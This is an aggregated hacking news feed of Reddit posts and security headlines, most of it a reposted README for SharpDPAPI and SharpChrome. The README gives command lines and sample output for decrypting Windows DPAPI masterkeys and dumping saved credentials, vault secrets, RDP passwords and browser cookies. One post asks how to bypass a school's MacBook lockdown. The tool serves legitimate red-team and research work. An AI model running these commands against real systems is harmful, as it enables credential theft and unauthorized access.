hacking: security in practice
The CatInTheHat Attack released today uses a crafted input to exploit the popular /bin/cat software program

https://external-preview.redd.it/cgOMfdsEJf2AOMjt0SiSJwNbdGji0_8J4iuzRmI9p2o.jpg?width=320&crop=smart&auto=webp&s=92378f76913451c7cd32a32796fe907007feaa24 submitted by /u/IncludeSec
[link] [comments]

hacking: security in practice
Reverse Engineering A Mysterious UDP Stream in My Hotel

submitted by /u/CrankyBear
[link] [comments]

hacking: security in practice
Kali 4 Kids

https://external-preview.redd.it/CGM_J1kPBzLmf1OyXwaaAN7q2AEekJ5yVM4k5RkpwS0.jpg?width=640&crop=smart&auto=webp&s=5b86441970eed8cb17f874999781c4efeeedf697 submitted by /u/LordDoomAndGloom
[link] [comments]

hacking: security in practice
DRM Video Downloading

Hi I have purchased a course which is a limited period and is going to end soon but due to corona i did not get that ample amount of time to learn and make notes. So i want to download it and complete the course later after the time period ends.

Its an Android App + website too

I can download the vidoes on app but the videos are visible only in the app and cant find it in my file manger dont know where it goes. But in the setting App's data is using the space. So is there any way to get it in external storage ?

P.s: i solely respect the amount of tutor making course but i am really in need. The download videos do fash my contact no. And other login details in between the video. And i have no problem with it

And i want to use it for my personal use. Please help.

English is not my first language and i am not a techy geek or something so i am not able to descibe much, you can ask in comments if i have left any information

submitted by /u/notagoodguy7
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hacking: security in practice
Xmzx hidden in json

I have a file that has the extension. I believe within it is hidden a .xmzx which I'm trying to extract a decrypt. Is there any advice as to how one could go about doing this?

submitted by /u/Saitama606
[link] [comments]

hacking: security in practice
Exfiltrate files using the DNS

submitted by /u/CrankyBear
[link] [comments]

https://b.thumbs.redditmedia.com/NqUpgvSF4veSJwQnopaW4-9YFRJzLQIIrH46ApBKT5Q.jpg Hi, i am doing a penetration lab of INE, and i am stuck trying to figure out how the autoroute module of metasploit (/usr/share/metasploit-framework/modules/post/multi/manage) works;

​

172.16.37.234 is a webserver where i am using a reverse shell and the webserver has another interface where the address is 172.16.50.224(which i cannot reach because is in another subnet)

https://preview.redd.it/xhq0d78oelq61.png?width=871&format=png&auto=webp&s=8cb252501d8191ff523ddd5336ecb498e59e017e

So basically the guide is telling me to run this magical module of metasploit and i will get access to the 172.16.50.22, but i don't understand what is doing, i tried to do ssh tunneling,, without success, however if i just follow the steps now i will finally be able to reach the 172.16.50.22 machine but i really want to know how it works and why it works

https://preview.redd.it/jyjde0maelq61.png?width=857&format=png&auto=webp&s=7798a3eea6f633b953a96ffdd2f2dafcb2623714

​

Anyone wanna help me with this?

If you need extra information in order to understand the situation, i will be happy to provide it because this part of the lab is killing me

submitted by /u/Alexis201249
[link] [comments]

hacking: security in practice
laptop I dont know what to do anymore

So I Go to a school were we pay for the MacBooks and they lock them down. last year it was fine last year but this year I can't even watch YouTube or play any sort of game/download the tings I want. application downloads require admin's user and pass. onto of that I've tried trying to use terminal to force my self admin even though I broke through to be able to access terminal I wasn't able to use the code because it instantly rejected it. on my Mac the use an application called Iboss and a network blocking through wifi. it blocks everything even off of school wifi. I just wanna be able to use my Mac and do the things I want but I can't so if you are interested please respond!!!!

submitted by /u/deltax64
[link] [comments]

Dark Reading: Attacks/Breaches
NIST Publishes Guide for Securing Hotel Property Management Systems

These sensitive systems store guests' personal data and payment-card information.

Dark Reading: Attacks/Breaches
Kansas Man Indicted for Hacking, Tampering With Water Utility System

Attacker disabled water-purification operation systems "with intention of harming" the rural water district.

SharpDPAPI - A C# Port Of Some Mimikatz DPAPI Functionality
http://www.kitploit.com/2021/04/sharpdpapi-c-port-of-some-mimikatz.html

SharpDPAPI (https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) is a C# port of some DPAPI functionality from @gentilkiwi (https://twitter.com/gentilkiwi)'s Mimikatz (https://github.com/gentilkiwi/mimikatz/) project.I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow. The SharpChrome (https://github.com/GhostPack/SharpDPAPI#sharpchrome) subproject is an adaptation of work from @gentilkiwi (https://twitter.com/gentilkiwi) and @djhohnstein (https://twitter.com/djhohnstein), specifically his SharpChrome project (https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the C# SQL library (https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports lockless opening (https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized. Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome. SharpChrome also uses an minimized version of @AArnott's BCrypt P/Invoke code (https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License. If you're unfamiliar with DPAPI, check out this post (https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials (https://www.kitploit.com/search/label/Credentials) and Vaults in regards to DPAPI, check out Benjamin's wiki entry on the subject. (https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) @harmj0y (https://twitter.com/harmj0y) is the primary author of this port. SharpDPAPI is licensed under the BSD 3-Clause license.
Background

SharpDPAPI Command Line Usage
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v1.11.0



Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:

search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:]
search /type:base64 [/base:]


Machine/SYSTEM Triage:

machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecre dentials - use 'machinemasterkeys' and then triage machine Credential files
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
machinetriage - run the 'machinecredentials' and 'machinevaults' commands


User Triage:

Arguments for the 'masterkeys' command:

/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely)
/server:SERVER - triage a remote server, assuming admin access


Arguments for the credential s|vaults|rdg|keepass|triage|blob|ps commands:

Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands

/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys

Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands


Certificate Triage:

Arguments for the 'certificates' command:
/showall - show all decrypted private key files, not just ones that are linked to installed certs (the default)
/machine - use the local machine store for certificate triage
/mkfile | /target - for /machine triage
/pvk | /mkfile | /password | /server | /target - for user triage


Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
These functions wrap all the other applicable functions that can be automatic ally run.

SharpChrome Command Line Usage
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v1.9.0


Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Global arguments for the 'cookies', 'logins', and 'statekeys' commands:

Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to f irst decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/statekey:X - a decrypted AES state key (from the 'statekeys' command)

Targeting:
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
/target:C:\Users\X\ - triage a specific user folder for any specified command
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'

Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/consoleoutfile:X - output all console output to a file on disk


'cookies' command specific arguments:

/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!

SharpDPAPI Commands

User Triage

masterkeys
The masterkeys command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings. The domain backup key can be in base64 form (/pvk:BASE64...) or file form (/pvk:key.pvk). C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

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v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

credentials
The credentials command will search for Credential files and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. A specific credential file (or folder of credentials) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. If run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed. Using domain {GUID}:SHA1 masterkey mappings: C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

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v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB

guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data

LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlia s :
Comment :
UserName : DOMAIN\user
Credential : Password!

...(snip)...
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

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v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB

guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115

description : Local Credential Dat a

LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!

...(snip)...

vaults
The vaults command will search for Vaults and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files. A specific vault folder can be specified with /target:C:\Folder\. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. Using domain {GUID}:SHA1 masterkey mappings: C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
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v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84C D64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!

...(snip)...
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCry pt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!

...(snip)...
Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage): C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

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v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password

rdg
The rdg command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. The /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here (https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values (or /unprotect) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file. Using /unprotect to decrypt any found passwords: C:\Temp>SharpDPAPI.exe rdg /unprotect

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v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!

C: \Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Using domain {GUID}:SHA1 masterkey mappings: C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

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